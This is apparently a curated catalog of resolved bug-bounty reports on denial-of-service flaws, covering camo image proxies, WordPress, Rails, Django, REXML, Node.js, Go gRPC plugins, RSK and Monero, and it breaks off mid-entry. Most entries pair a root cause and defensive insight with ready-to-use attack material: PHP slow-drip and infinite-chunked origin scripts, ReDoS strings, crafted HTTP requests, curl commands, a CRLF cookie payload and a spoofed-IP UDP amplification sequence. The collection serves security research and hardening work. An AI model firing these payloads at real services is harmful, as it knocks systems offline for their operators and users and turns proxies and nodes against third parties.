A user-content image proxy (camo) fetching attacker-linked URLs enforces neither a read timeout for trickled responses (a little data every ~10s keeps the connection alive indefinitely) nor a size cap on chunked (no Content-Length) responses, so attacker-hosted 'images' exhaust proxy connections/memory; cache-busting turns it into an amplifying DoS-proxy against third parties.
Method
- Host slow.php that emits a few KB every 9s with Transfer-Encoding: chunked (reverse-slowloris) - ties up a proxy fetch worker forever
- Host big.php that streams gigabytes with chunked encoding and no Content-Length - proxy buffers unbounded data
- Embed the images via user content; disable caching with status 500 or a random query string so each hit re-fetches
- Amplify: point the proxy at arbitrary victim origins to use it as a DoS proxy
// reverse-slowloris origin
<?php header('HTTP/1.1 500'); header('Content-Type: image/png');
for($i=0;$i<200;$i++){ echo str_pad('hi',4096,'hiho'); flush(); sleep(9);} ?>
// unbounded chunked origin
<?php header('HTTP/1.1 500'); header('Content-Type: image/png');
$b=str_pad('hi',1024**2,'hiho'); $t=1024**3; while($t>0){echo $b;$t-=1024**2;} ?>
// cache bypass: return 500 OR append ?rand=RAND to the camo URL
Insight — Server-side URL/image proxies need: a total read timeout (not just connect), a hard response-size cap, and cache keys that can't be trivially busted. Test proxies with slow-drip and infinite-chunked origins; a proxy that follows redirects + ignores size can be weaponized as an amplifying DoS proxy and for origin-IP disclosure.
Real-world example
Unchecked slice index on attacker input → Go panic crashes gRPC server
◆ Medium
Specimen #3620748 · aws_vdp · none · 41 votes · resolved
Program aws_vdpSurface apiTag cloud-aws
Root cause
V1Plugin.Decrypt() reads request.Cipher[0] to check a storage-version prefix without verifying len(Cipher)>0; an empty/nil Cipher in a DecryptRequest triggers an unrecovered 'index out of range' panic that kills the whole aws-encryption-provider process, blocking all Kubernetes secret enc/decrypt.
Method
- Reach the (unauthenticated) KMS plugin gRPC unix socket
- Send a DecryptRequest with Cipher: []byte{} (or nil)
- request.Cipher[0] panics; unrecovered panic crashes the process → kube-apiserver cannot serve Secrets
client.Decrypt(ctx, &pb.DecryptRequest{Cipher: []byte{}}) // panic: index out of range [0] with length 0
Insight — In Go/Rust, indexing slice[0] or [n] on attacker-sized input without a len check is a remote panic/DoS; grep for [0] and fixed indices right after deserialization. Fuzz seeds should include the empty byte slice (seed#0). Unrecovered panics take the whole process down.
Real-world example
Native memory leak in shell-extension DLL -> host process OOM (CVE-2020-8229)
◆ Medium
Specimen #588562 · nextcloud · 100 · 40 votes · resolved
Program nextcloudSurface desktop
Root cause
FileUtil::IsChildFile in the Nextcloud OCUtil.dll allocates memory (line 42) and fails to free it on certain paths; the DLL is loaded into explorer.exe for context-menu overlays, so repeated invocation leaks memory until the host process can be driven toward exhaustion.
Method
- Load OCUtil_x64.dll and repeatedly call the exported IsChildFile with a long file argument
- Watch process memory climb monotonically (leak)
- In situ, repeated context-menu use in explorer.exe leaks toward OOM
typedef bool(__cdecl *f)(const wchar_t*, const wchar_t*);
f isChildFile = (f)GetProcAddress(LoadLibrary(L"OCUtil_x64.dll"),
"?IsChildFile@FileUtil@@SA_NPEB_W0@Z");
const wchar_t* folder=L"C:\\TestFolder";
const wchar_t* file=L"C:\\<very long path string>";
while(1) isChildFile(folder, file); // RSS grows unbounded
Insight — Desktop/native components (shell extensions, DLLs loaded into system processes) are DoS surfaces too: an unfreed allocation on a hot path leaks into the host process. Audit exported functions for alloc-without-free on error/edge paths; the impact is the privileged host (explorer.exe) running out of memory.
Real-world example
Reachable assertion crash via url.format() on malformed IDN (CVE-2026-21712)
◆ Medium
Specimen #3546390 · nodejs · none · 40 votes · resolved
Program nodejsSurface other
Root cause
Node.js native URL processing (node_url.cc) hits an assertion failure when url.format() is called on a URL with a malformed internationalized domain name containing invalid characters, aborting the process.
Method
- Construct a URL object with a malformed IDN (invalid characters in the host)
- Call url.format() on it
- Native assertion fails -> Node.js process crashes (affects 24.x, 25.x)
// url.format() on a malformed internationalized domain name (invalid chars)
// triggers assertion in node_url.cc -> process abort
const { format } = require('node:url');
format(new URL('http://<malformed-IDN-with-invalid-chars>/'));
Insight — Reachable assertions in native bindings are crash-DoS: if any app path formats/normalizes attacker-influenced URLs/hosts, a malformed IDN can abort the whole process. When apps process user URLs (SSRF filters, link previews, redirects), test IDN/punycode edge cases for assertion crashes, not just logic.
Real-world example
WordPress load-scripts.php unauth DoS (CVE-2018-6389)
◆ Medium
Specimen #2334446 · publitas · none · 38 votes · resolved
Program publitasSurface web
Root cause
WordPress load-scripts.php concatenates any number of registered script handles per request with no auth and no count/size limit, so one crafted request forces the server to read/concatenate the entire script registry.
Method
- Confirm target runs WordPress and /wp-admin/load-scripts.php is reachable unauthenticated
- Request the endpoint with the full list of registered handles in ?load=
- Repeat/parallelize to exhaust CPU/memory
GET /wp-admin/load-scripts.php?load=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,jquery,jquery-ui-core,...,svg-painter&c=1 HTTP/1.1
Insight — Any endpoint that bundles a caller-specified list of assets with no cap is an amplification DoS; supply the maximal known handle list. On WordPress, load-scripts.php/load-styles.php are the canonical sinks.
Real-world example
Single-request DoS via nested-parentheses payload
◆ Medium
Specimen #993582 · cs_money · awarded · 35 votes · resolved
Program cs_moneySurface api
Root cause
A search endpoint feeds user input into a parser/regex with exponential blow-up on deeply nested parentheses, so a single small request pegs the server for minutes.
Method
- Intercept the search POST to /api/skin/search
- Set the name field to a deeply nested-parenthesis payload
- Add more parentheses to extend downtime
{"name":"(((((()0)))))","item_name":"AK-47"}
Insight — Catastrophic-complexity DoS often hides behind search/filter/expression inputs; probe with nested delimiters ((((()))), a{1,}b, long repeats) and watch response latency scale with payload size.
Real-world example
Quadratic ReDoS in Rails ActiveRecord PostgreSQL Money type (CVE-2021-22880)
◆ Medium
Specimen #1023899 · rails · awarded · 33 votes · resolved
Program railsSurface web
Root cause
The regexes converting strings like '-$100,000.00' to integers in ActiveRecord's PostgreSQL Money OID type contain the pattern \D*[\d,]+ where ',' matches both alternatives (effectively ,*,+), giving O(n^2) execution time; when a Money field is set from user input, a long crafted string pins CPU.
Method
- Find a form/param that saves into a PostgreSQL money column (e.g. a shop price field)
- POST a very long crafted money string in the request body
- Save takes tens of seconds; add a zero to spin CPU indefinitely -> DoS
# vulnerable regex: /^-?\D*[\d,]+\.\d{2}$/ (and the ',' variant)
# attack value:
amount = "$" + (","*100000) + ".11!"
# app.post '/money/', params: {money: {amount: amount}, authenticity_token: token}
# ~40s at 100k commas; O(n^2) growth
Insight — Type-coercion/normalization regexes on model attributes (money, dates, decimals) run when saving user input and are easy to overlook. The tell is a quantified class that overlaps an adjacent quantifier (\D*[\d,]+ with ',' in both) -> polynomial backtracking. Put the payload in a POST body to sidestep URL-length limits.
Real-world example
ReDoS in XML hex numeric character reference parsing (REXML)
◆ Medium
Specimen #2807139 · ibb · awarded · 33 votes · resolved
Program ibbSurface other
Root cause
REXML's parser used a backtracking regex for hex numeric character references (&#x...;); a reference with a huge run of digits before the terminator causes catastrophic backtracking on Ruby 3.1 (fixed on Ruby 3.2+ regex engine and REXML 3.3.9).
Method
- Identify any endpoint that parses attacker-supplied XML with REXML (Ruby < 3.2, REXML <= 3.3.8)
- Submit an XML document containing a numeric character reference with thousands of digits between '&#' and the 'x...;' hex terminator
- Observe CPU pegged / request timeout as the parser backtracks
<?xml version="1.0"?><root>�x41;</root> (grow the digit run to amplify)
Insight — XML/HTML entity and numeric-reference parsers are a classic ReDoS sink; fuzz entity syntax (&#, &#x, long digit/letter runs) against any XML ingestion. Ruby 3.1's Onigmo backtracks where 3.2+ does not, so version + library pairing matters.
Real-world example
Ruby symbol-table exhaustion via metadata deserialization (instance_variable_set)
◆ Medium
Specimen #3079931 · rubygems · none · 32 votes · resolved
Program rubygemsSurface api
Root cause
POST /api/v1/gems decodes gem metadata through Gem::Specification, which allowed arbitrary instance variables to be set via instance_variable_set. Ruby never garbage-collects symbols created this way, so unique key names in the metadata permanently grow the symbol table until memory is exhausted.
Method
- Obtain a valid API key
- Craft a gem whose serialized metadata declares a large number of unique instance-variable / symbol names
- Push it via POST /api/v1/gems repeatedly; each unique symbol is retained, memory climbs unbounded
Gem package with metadata containing many unique @ivar keys -> instance_variable_set(:@<unique>, ...) per key (symbols never freed)
Insight — On Ruby, converting attacker-controlled strings into symbols (to_sym, instance_variable_set, dynamic method/const names, Marshal of specs) is a memory-DoS primitive because pre-2.2 symbols and dynamically created ones can leak. Look for deserialization sinks that let the attacker choose ivar/key names.
Real-world example
Client-side render DoS via many Mermaid markdown blocks (per-block limit bypass)
◆ Medium
Specimen #670572 · gitlab · awarded · 31 votes · resolved
Program gitlabSurface web
Root cause
GitLab rendered Mermaid diagrams from markdown client-side. A prior fix capped a single Mermaid code block at 5000 chars, but the cap was per-block: splitting the payload across many blocks (e.g. 100 x 5000 chars) forces the browser to render a huge number of graphs and freezes/crashes the tab for anyone who opens the page.
Method
- Find any markdown field that renders Mermaid (issue/MR/comment description)
- Paste ~100 separate Mermaid code blocks, each near the 5000-char per-block limit
- Save; every viewer's browser tab freezes while rendering the many diagrams
Repeat 100 times:
```mermaid
graph LR
<~5000 chars of nodes/edges>
```
Insight — Per-item input limits are frequently bypassed by submitting many items. When a limit exists, immediately test whether it is enforced on the aggregate or only per-element. Client-side renderers (Mermaid, KaTeX, PlantUML) are stored-XSS-adjacent DoS sinks.
Real-world example
Algorithmic amplification via inefficient VM opcode (CODESIZE copies whole code array)
◆ Medium
Specimen #2489843 · rootstocklabs · awarded · 30 votes · resolved
Program rootstocklabsSurface other
Root cause
RSK VM.doCODESIZE() computed size via program.getCode().length, and getCode() returned the entire code byte array on every CODESIZE. A contract that loops CODESIZE over large code moves >1TB of data in aggregate, making a single low-gas transaction take ~1.5 minutes.
Method
- Deploy a contract with a large code body
- Loop CODESIZE (and PUSH/POP to keep the stack cheap) many times in the runtime code
- Each CODESIZE forces a full copy of the code array; aggregate data movement dwarfs the gas paid, stalling the node
EVM bytecode looping CODESIZE (0x38) with cheap stack ops, e.g. repeated 38 38 50 (CODESIZE CODESIZE POP) sequences over a large-code contract
Insight — Gas/pricing DoS: find opcodes or operations whose real cost (memory copy, allocation) is not reflected in their gas/quota. The vulnerability is a cost-model mismatch, not a memory leak. Audit VM opcode implementations for accidental O(n) work behind an O(1)-priced op.
Real-world example
Missing max_length on IPv6 validation causes quadratic parsing DoS (Django)
◆ Medium
Specimen #2939077 · ibb · awarded · 29 votes · resolved
Program ibbSurface web
Root cause
Django's clean_ipv6_address / is_valid_ipv6_address (used by forms.GenericIPAddressField) enforced no upper bound on input length; a very long malformed string of repeated ':' characters causes excessive/slow processing. Fixed by capping the form field at max_length 39.
Method
- Find a form field backed by django.forms.GenericIPAddressField (or code calling the private IPv6 validators)
- Submit a very long malformed IPv6-looking string ('abcd:abcd:abcd:...' repeated)
- Each request consumes large CPU; a handful of concurrent requests cause 504s
POST field=abcd:abcd:abcd:abcd:abcd:abcd:abcd:...(repeat to hundreds of KB)...
Insight — Validators that run before a length check are DoS sinks. Always test form/validation fields with megabyte-scale inputs; the fix pattern (reject/skip normalization when input already exceeds max_length) is the tell for the bug class.
Real-world example
Unicode NFKC normalization DoS on huge input (Django UsernameField, Windows)
◆ Medium
Specimen #2258758 · ibb · awarded · 28 votes · resolved
Program ibbSurface web
Root cause
UsernameField normalized submitted values with NFKC before validation; NFKC is disproportionately slow on Windows, so a value with ~1M+ Unicode chars (e.g. repeated '¾') takes seconds per request. Fixed by not normalizing values already longer than max_length.
Method
- Locate any form containing a UsernameField (e.g. admin login) on a Windows-hosted Django
- POST a value of 1,000,000+ invalid Unicode characters (e.g. '¾' repeated)
- Single request ~4.4s; ~20 concurrent requests -> 60s waits and 504s
POST username=<1,000,000 copies of the char '¾'>
Insight — Unicode normalization (NFKC/NFC) and casefolding are CPU-DoS sinks on huge inputs, and platform-dependent (slower on Windows). Any field normalizing before length validation is exploitable. Combine with concurrency to turn a slow request into a full outage.
Real-world example
Debug/test JSON-RPC methods exposed in production (evm_reset resets node)
◆ Medium
Specimen #324021 · rootstocklabs · awarded · 27 votes · resolved
Program rootstocklabsSurface api
Root cause
The RSK JSON-RPC server exposed development/test methods (evm_reset, evm_snapshot) by default on the public node. A single unauthenticated evm_reset hangs the server and resyncs it to block 0 - a total denial of service.
Method
- Enumerate available JSON-RPC methods from the client source / by probing
- Call the debug/test method (evm_reset) on the public RPC endpoint
- Server hangs, returns 504s, and reverts to block 0
curl -s -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"evm_reset","params":{},"id":666}' https://TARGET/
Insight — Test/dev RPC namespaces (evm_*, debug_*, miner_*, admin_*, personal_*) frequently ship enabled in production. Enumerate every method from source and try the state-mutating/reset/snapshot ones - they are often unauthenticated and devastating.
Real-world example
Decompression bomb via auto-decoded Brotli in server-side fetch() (Node)
◆ Medium
Specimen #2284065 · nodejs · none · 27 votes · resolved
Program nodejsSurface apiChain SSRF/URL-fetch feature -> attacker-controlled response -&Tag webhook
Root cause
Node's undici fetch() always decodes Brotli-encoded responses. When a server fetches an attacker-controlled URL, the attacker serves a small Brotli payload that inflates enormously, exhausting memory and potentially terminating the process (CVE-2024-22025).
Method
- Find server-side functionality that fetch()es a user-supplied/attacker-influenced URL (webhooks, URL previews, SSRF-style features)
- Point it at an attacker server returning Content-Encoding: br with a highly compressible payload (a Brotli bomb)
- fetch() auto-inflates; memory exhaustion / process termination
Attacker HTTP response: Content-Encoding: br + a Brotli-compressed stream of gigabytes of repeated bytes (small on the wire, huge decoded)
Insight — Any client that auto-decompresses untrusted responses (br/gzip/deflate) is a decompression-bomb DoS target. Pairs naturally with SSRF/URL-preview features: attacker controls the response, not just the request. Test webhook/preview/import features with Content-Encoding bombs.
Real-world example
Reflected value into Set-Cookie enables CRLF/oversized-cookie DoS (504)
◆ Medium
Specimen #583819 · x · USD 560 · 26 votes · resolved
Program xSurface web
Root cause
The periscope.tv login flow reflected the 'create_user' query parameter into a Set-Cookie (loginissignup) header without sanitization. Injecting CRLF or an absurd Max-Age via that parameter caused the upstream to return HTTP/1.1 504 GATEWAY_TIMEOUT, denying the login flow.
Method
- Start the social login flow that produces a URL like /i/twitter/login?create_user=true&csrf=<token>
- Replace create_user with a CRLF or oversized-cookie-attribute payload
- Server responds 504 GATEWAY_TIMEOUT (and/or an attacker-controlled cookie with huge Max-Age/foreign Domain is set)
https://www.periscope.tv/i/twitter/login?create_user=dosattack%0d%0ahakou&csrf=CSRF
# and cookie-scope variant:
create_user=exploit;Domain=hakou.com;Max-Age=1000000000000000000000
Insight — User input reflected into response headers (Set-Cookie in particular) is both a cookie-injection and a DoS vector: CRLF or malformed attributes can make the upstream/proxy fail the request. Test header-reflected params with %0d%0a and pathological attribute values.
Real-world example
Pixel-flood / decompression-bomb image upload (heap OOM)
◆ Medium
Specimen #842462 · nodejs-ecosystem · none · 25 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
Image processors allocate memory proportional to declared pixel dimensions, not file size. A tiny (~5KB) crafted image declaring enormous dimensions (e.g. 64250x64250 via EXIF) forces the library (jimp, CVE-2020-8175) to allocate ~4.1 billion pixels, exhausting the heap. Any server that decodes/resizes uploaded images is affected.
Method
- Find any feature that server-side decodes, resizes, or thumbnails uploaded images (avatars, attachments, support chat)
- Upload a small 'lottapixel' image whose header/EXIF declares giant dimensions
- The processor pre-allocates width*height pixels -> JavaScript heap out of memory / 502; parallel uploads amplify
lottapixel.jpg (a few KB, header declares ~64250x64250 pixels)
// jimp PoC:
var Jimp=require('jimp');Jimp.read('lottapixel.jpg',(e,i)=>{i.resize(256,256).write('o.jpg');});
Insight — Image-processing endpoints are memory-DoS sinks because allocation tracks declared dimensions, not bytes on disk. Test every upload/resize path with a pixel-flood image. Server-side (support chat, avatar resize) yields cross-user app-level DoS, not just self-DoS.
Real-world example
Empty-slice index panic -> remote gRPC DoS (aws-encryption-provider KMS v2)
◆ Medium
Specimen #3620753 · aws_vdp · none · 25 votes · resolved
Program aws_vdpSurface apiChain unauth gRPC Decrypt(empty ciphertext) -> Ciphertext[0] paTag cloud-aws
Root cause
V2Plugin.Decrypt reads request.Ciphertext[0] to derive the storage version without checking that the slice is non-empty; a gRPC DecryptRequest with an empty/nil Ciphertext triggers an unrecovered 'index out of range' panic that kills the entire aws-encryption-provider process (both V1 and V2 APIs share it), blocking Kubernetes Secret encryption/decryption.
Method
- Reach the plugin's unix-socket gRPC endpoint (no auth)
- Send Decrypt with Ciphertext = []byte{} (or nil)
- request.Ciphertext[0] panics; unrecovered panic crashes the server process
conn, _ := grpc.Dial("unix:///var/run/kmsplugin/socket.sock", grpc.WithInsecure())
client := v2pb.NewKeyManagementServiceClient(conn)
client.Decrypt(context.Background(), &v2pb.DecryptRequest{Ciphertext: []byte{}}) // panic: index out of range [0] with length 0
// fix: if len(request.Ciphertext)==0 { return error }
Insight — In Go services, indexing a request-supplied slice ([0], [i]) before a length check is a one-shot remote DoS because an unrecovered panic takes down the whole process (and any co-hosted APIs). Fuzz gRPC/HTTP handlers with empty and truncated inputs; grep handlers for `req.X[0]`/slice indexing lacking a preceding len() guard. High blast radius when the crashed component gates cluster-wide operations (KMS -> all Secret access).
Real-world example
UDP peer-discovery traffic amplification via unvalidated pong source IP
◆ Medium
Specimen #502207 · rootstocklabs · 2000 · 24 votes · resolved
Program rootstocklabsSurface network
Root cause
The node's UDP discovery ping/pong handshake did not verify that the Pong came from the same IP as the Ping, so an attacker could complete the handshake with a spoofed IP, get added to establishedConnections, and then elicit a large NeighborsPeerMessage to the spoofed victim from a small FindNode request.
Method
- Send PingPeerMessage from your real IP; receive the node's Ping with a 'check' value
- Reply PongPeerMessage with the correct 'check' but a spoofed source IP (victim)
- Now recognized as established, send FindNodePeerMessage in a loop -> node floods large NeighborsPeerMessage to the victim
# 1) -> PingPeerMessage (real IP)
# 2) <- PingPeerMessage (check=RND)
# 3) -> PongPeerMessage (check=RND, src=SPOOFED_VICTIM_IP)
# 4) -> FindNodePeerMessage (loop) => amplified NeighborsPeerMessage -> victim
Insight — In any UDP/P2P discovery protocol, check whether the ping-pong (source-of-return) validation actually binds the responder IP. If Pong isn't tied to the Ping's source, spoofed IPs pass the anti-amplification check and small requests yield large reflected responses.
Real-world example
Cache poisoning DoS on reflected param, bypassing URI length limit with multibyte UTF-8
◆ Medium
Specimen #350847 · greenhouse · awarded · 23 votes · resolved
Program greenhouseSurface webTag cors
Root cause
boards.greenhouse.io/embed/job_board/js?for= reflects the 'for' parameter into cached boardURI/applicationURI JS values. Making those values malformed or oversized corrupts the cached file so client iframes fail to load (DoS). A prior fix limited the request URI to 1024 characters (counted after decoding), which was bypassed with multibyte UTF-8 chars that expand to up to 12 URL-encoded bytes each (plus a %00 null byte), re-inflating the reflected value past the server's byte limit.
Method
- Find a cached endpoint that reflects a query parameter into its (cached) output without validation
- Poison the cache with array params (for[]=...) or an oversized/malformed value so downstream consumers break
- If a char-count limit blocks the payload, use multibyte UTF-8 (1 char -> up to 12 encoded bytes) to bypass it; add %00 for extra corruption
REPEAT=992; ID=623145; curl --http1.1 -s "https://boards.greenhouse.io/embed/job_board/js?for=a%00$(python -c 'print("\u2665" * '$REPEAT')')$ID"
# array-param variant (326639):
/embed/job_board/js?for[]=twitter&for[]=&for[]=&...(many)
Insight — Cache-poisoning DoS: any reflected-into-cache parameter that isn't part of the cache key but affects output lets one request deny the resource for all clients. When a length mitigation exists, test the counting unit (chars vs bytes, pre- vs post-decode) - multibyte UTF-8 and %00 are reliable amplifiers/bypasses. The robust fix is whitelisting the token, not length caps.
Real-world example
Length-prefix pre-allocation from untrusted peer (net/imap literal memory exhaustion)
◆ Medium
Specimen #3108869 · ibb · awarded · 23 votes · resolved
Program ibbSurface other
Root cause
The IMAP protocol lets responses include 'literal' strings prefixed with a byte count ({N}\r\n). Ruby's Net::IMAP receiver thread calls IO#read(N) which immediately allocates N bytes before any data arrives, with no upper bound. A malicious/compromised IMAP server (or a user-supplied hostname) declares a giant literal and exhausts client memory.
Method
- Get a client to connect to an attacker-controlled or untrusted IMAP server (e.g. user-supplied mail host)
- As the server, send a response containing a literal with an enormous declared size, e.g. {1000000000}\r\n
- The client pre-allocates that many bytes without needing the data sent -> memory exhaustion/crash
Server -> client response line containing a literal: * OK {1000000000}\r\n (declare huge size, send no further data)
Insight — Any length-prefixed protocol where the receiver allocates based on an attacker-declared size (IMAP/SMTP literals, custom binary protocols, Content-Length trust) is a memory-DoS. The trust boundary flips when the client connects to an untrusted server - review outbound-connection features (feed importers, mail checkers) for this.
Real-world example
Unbounded password length hashing DoS
◆ Medium
Specimen #840598 · nextcloud · 100 · 22 votes · resolved
Program nextcloudSurface web
Root cause
Signup/login accepts an arbitrarily long password and feeds it straight into the (b)crypt hashing routine; hashing a ~1MB password consumes large CPU/memory per request (CVE-2020-8202).
Method
- Find any endpoint that hashes a user-supplied password (signup, login, change-password)
- Submit a very long password (e.g. 1,000,000 chars)
- Observe elevated response time / resource use; parallelize to exhaust the server
POST /signup HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
email=a@b.com&password=<1000000 'A' characters>
Insight — Test password fields for a max-length cap. No server-side limit + a slow hash (bcrypt/argon2) = cheap DoS. Remediation is to cap accepted password length (e.g. 72 bytes for bcrypt).
Real-world example
Amplified error-string construction (hex-encode whole input) DoS
◆ Medium
Specimen #2559404 · rootstocklabs · awarded · 22 votes · resolved
Program rootstocklabsSurface other
Root cause
On invalid input a native/precompiled contract builds its error/log message by hex-encoding the entire input buffer (ByteUtil.toHexString(data)) before throwing. A large invalid input turns cheap validation into O(n) string work; looped until gas runs out it stalls execution ~23s.
Method
- Call the native/precompiled contract with a maximally large invalid input (~1MB)
- Contract validates, fails, and formats String.format("Invalid data given: %s", toHexString(data)) over the whole buffer
- Loop the failing call until gas exhausts -> tens of seconds of CPU per tx -> block/network stall
// EVM bytecode calling native contract 0x0100_0009 in a loop with huge invalid data
5b6000600062108000600063010000095afa50600056
// Java sink: rskj NativeContract.execute
String errorMessage = String.format("Invalid data given: %s.", ByteUtil.toHexString(data));
Insight — Error/log paths are a DoS sink: any code that stringifies, hex-encodes, or serializes attacker-controlled input only to throw/log is amplification. Grep for toHexString/String.format/logging over full request bodies in the error branch. Especially dangerous when the operation is billed as cheap (fixed gas) but cost scales with input size.
Real-world example
ReDoS in Ruby URI RFC3986 regex with two '#' characters (CVE-2023-28755)
◆ Medium
Specimen #1444501 · ruby · none · 22 votes · resolved
Program rubySurface otherTag webhook
Root cause
URI()'s RFC3986 validation regex backtracks catastrophically on invalid URLs containing two '#' characters; parse time grows ~5x when input length doubles (super-linear).
Method
- Send a URL that the app passes to URI()/URI.parse with a long token before '##'
- Length increases cause quintupling parse time
- Long attacker-controlled string in a request body hangs the worker
URI('https://example.com/dir/' + 'a'*50000 + '/##.jpg')
# n=50000:1.09s, x2:4.4s, x4:22s, x8:122s
Insight — Any place user input reaches a URL/URI parser (SSRF filters, link previews, validators) is a ReDoS candidate - fuzz with pathological inputs (repeated chars + '##', nested delimiters). Upgrade Ruby or pre-length-limit inputs.
Real-world example
REXML namespace-resolution blowup on many sibling elements
◆ Medium
Specimen #2666849 · ruby · none · 21 votes · resolved
Program rubySurface other
Root cause
REXML resolves an attribute's namespace by walking parents recursively (element.rb namespace); a document with a namespaced xml:b attribute repeated across thousands of nested/sibling elements makes each [] = assignment re-walk the tree, turning parse into near-quadratic/recursive blowup (CVE-2024-43398).
Method
- Generate an XML doc with an <a xml:b="" b=""> pattern wrapping a child, repeated ~2000 times
- Feed to REXML::Document.new (e.g. any app doing Hash.from_xml)
- Parser hangs at 100% CPU - 42kb input took ~13 minutes
start=''
middle='<a xml:b="" b="">'+'<D>'*1
print(start)
for _ in range(2000): print(middle)
# python pwn.py > pwn.xml ; then REXML::Document.new(File.read('pwn.xml'))
Insight — XML libraries are a recurring DoS surface: probe namespace resolution, entity expansion, and attribute parsing with pathological-but-small documents. Any Ruby endpoint doing Hash.from_xml(request.body) / REXML is a target. There is a family of REXML DoS CVEs (2024-35176/39908/41123/43398) - version-fingerprint the gem.
Real-world example
Unbounded pagination parameter -> DB/memory exhaustion + mass data dump
◆ Medium
Specimen #3413890 · revive_adserver · none · 21 votes · resolved
Program revive_adserverSurface web
Root cause
The setPerPage pagination parameter (documented range 10-100) is not validated or capped server-side. Supplying an enormous value makes the app build/return that many rows -> heavy DB I/O, large response, OOM/timeout, and bulk exfiltration of records (CVE-2025-55128).
Method
- Authenticate to the log/list view
- Send the request with setPerPage set far above the UI max (e.g. 300, then 100000000000000000)
- Server honors it -> huge result set: slow/OOM/crash and dumps all log entries in one response
GET /admin/stats.php?...&setPerPage=100000000000000000 HTTP/1.1
Insight — Always fuzz pagination/limit/count/size params (perPage, limit, pageSize, take, first) beyond documented bounds. A missing server-side cap is simultaneously a DoS and an excessive-data-exposure/BOLA-style bulk-read primitive. Test the exact UI max+1 first to confirm the cap is client-only.
Real-world example
Unbounded HTTP response header count exhausts client memory (curl)
◆ Medium
Specimen #2146691 · ibb · USD 2540 · 20 votes · resolved
Program ibbSurface otherTag webhook
Root cause
curl/libcurl stored all incoming HTTP response headers (for the headers API) with no cap on total size or count, so a malicious server can stream an endless series of headers until the client runs out of heap (CVE-2023-38039).
Method
- Stand up a malicious HTTP server
- Stream an unbounded number of response headers to any curl client that connects
- curl accumulates them in memory -> OOM/DoS on the client
# malicious server response, repeated indefinitely:
HTTP/1.1 200 OK\r\nX-a: y\r\nX-a: y\r\nX-a: y\r\n ...(endless)...
Insight — Client-side (SSRF/fetch/webhook) DoS: any HTTP client that buffers response headers/body without a cap can be memory-exhausted by a hostile server it is coerced to contact. When a target lets you point its fetcher at your URL, test streaming infinite headers or an infinite/chunked body.
Real-world example
P2P send-queue saturation stalls node threads (pre-handshake object requests)
◆ Medium
Specimen #876530 · monero · none · 20 votes · resolved
Program moneroSurface network
Root cause
monerod keeps a per-connection outgoing send queue; when full, the P2P thread sleeps ~6s then drops the connection. Requesting many large objects (NOTIFY_REQUEST_GET_OBJECTS, 500 blocks) fills the queue, sleeping all (default 10) P2P threads. Objects can be requested before handshake, bypassing incoming-connection limits.
Method
- Open many connections to the target node
- On each, send NOTIFY_REQUEST_GET_OBJECTS for ~500 large blocks (before completing handshake)
- Target fills m_send_que, P2P thread sleeps ~6s and drops - repeat to keep all 10 threads sleeping
- Also inflates memory; can be trivially triggered by syncing with --block-sync-size=500 --limit-rate-down=500 --add-exclusive-node <target>
monerod --block-sync-size=500 --limit-rate-down=500 --add-exclusive-node TARGET
# or send many NOTIFY_REQUEST_GET_OBJECTS(500 blocks) pre-handshake across many sockets
Insight — Look for protocol handlers that (a) do expensive work before authentication/handshake and (b) respond to a blocking sleep-on-backpressure. A cheap request that triggers a large response into a bounded queue + a sleeping thread on 'queue full' = amplified DoS. Fix pattern: reject work before handshake, cap request counts, don't sleep the worker on backpressure.
Real-world example
Django Truncator.words(html=True) ReDoS
◆ Medium
Specimen #2402193 · ibb · awarded · 20 votes · resolved
Program ibbSurface other
Root cause
Django's Truncator.words(html=True) / truncatewords_html filter uses regexes (re_words, re_chars) in _truncate_html() that backtrack catastrophically on crafted input such as a long run of '<' (CVE-2024-27351, follow-up to CVE-2019-14232/2023-43665).
Method
- Find a template using truncatewords_html or code calling Truncator(x).words(..., html=True) on user input
- Supply '<'*65535
- Regex engine stalls (~40s observed)
from django.utils.text import Truncator
Truncator('<'*65535).words(3, truncate='...', html=True) # ~40s
Insight — Django HTML-processing helpers have a recurring ReDoS history. On Django targets, feed pathological inputs (long runs of '<', ';:', etc.) to any field that gets truncated/urlized/rendered. Version-fingerprint Django to know which CVEs apply. See sibling urlize ReDoS (#2881639).
Real-world example
HashDoS via JSON.parse on integer-like strings (V8)
◆ Medium
Specimen #3511792 · nodejs · none · 19 votes · resolved
Program nodejsSurface other
Root cause
V8 hashes integer-like strings to their numeric value, making collisions in the internal string table trivially predictable. Crafting many colliding integer-like strings degrades hash-table operations to near O(n^2), and JSON.parse auto-internalizes short strings, so any JSON.parse of attacker input is a DoS surface.
Method
- Find an endpoint that calls JSON.parse (directly or via body parser) on attacker input
- Send a payload with many short integer-like strings crafted to collide in V8's string table
- Process CPU spikes as insertions/lookups collide -> denial of service
# limited-disclosure: exact collision set not published
# concept: JSON body/array with many integer-like short strings that hash to the same bucket
Insight — Treat any JSON.parse of untrusted input as a HashDoS surface on runtimes that hash numeric strings to their value. Probe with large arrays/objects of integer-like strings and watch for super-linear latency growth.
Real-world example
REXML attribute-value DoS via repeated < / > characters
◆ Medium
Specimen #2645836 · ibb · USD 2142 · 19 votes · resolved
Program ibbSurface other
Root cause
REXML <= 3.2.6 parses attribute values containing many '<' (or '>') characters in exponentially increasing time; longer runs increase wait super-linearly (CVE-2024-35176).
Method
- Craft an XML doc with an attribute value containing a long run of '<' or '>' chars
- Parse with REXML (e.g. Rails Hash.from_xml(request.body.read))
- Parse time explodes
# XML doc: <root attr='>>>>...(100000 x '>')...'/>
# Rails sink: Hash.from_xml(request.body.read)
Insight — Distinct REXML DoS from the namespace one (#2666849) - here the trigger is repeated angle brackets inside an attribute value. When a target parses XML, throw both patterns. Rails' XML->hash path (Content-Type: application/xml) auto-invokes REXML.
Real-world example
Polynomial-regex ReDoS in GitLab issue markdown rewriter (move_issue)
◆ Medium
Specimen #1543584 · gitlab · USD 2300 · 19 votes · resolved
Program gitlabSurface web
Root cause
Moving an issue runs UploadsRewriter#files -> @text.scan(MARKDOWN_PATTERN) over the issue description. The upload markdown pattern (\!?\[.*?\]\(/uploads/(?<secret>[0-9a-f]{32})/(?<file>.*?)\)) is polynomial-complexity in Ruby's backtracking engine, so a crafted description burns a CPU for the full 60s request timeout; parallel requests burn multiple cores.
Method
- Create an issue whose description is '![l' repeated ~100000 times
